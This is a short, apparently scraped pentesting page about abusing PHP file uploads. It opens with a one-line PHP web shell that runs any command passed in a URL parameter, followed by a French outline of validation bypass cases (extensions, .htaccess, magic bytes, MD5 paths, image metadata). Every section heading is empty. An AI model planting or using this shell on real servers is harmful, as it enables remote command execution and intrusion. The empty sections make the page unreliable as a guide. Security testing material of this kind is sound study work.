File Upload (php) Techniques - Pentesting Web
<?php
system($_GET['cmd']);
?>Types de situations d'abus de téléversement de fichiers :
Aucune validation :

Validation côté client :


Validation côté serveur (extensions PHP différentes) :





Validation côté serveur (extensions non PHP) :



Validation côté serveur (extension personnalisée avec .htaccess) :



Validation côté serveur (restriction de la taille du contenu du fichier) :




Le nom du fichier doit contenir le mot "jpg" :



Validation côté serveur (vérification du type de fichier) :



Validation côté serveur (vérification du type de fichier par les octets) :





Chemin du fichier converti en MD5 :








Chemin du fichier inconnu :


Métadonnées d'une image :



Mis à jour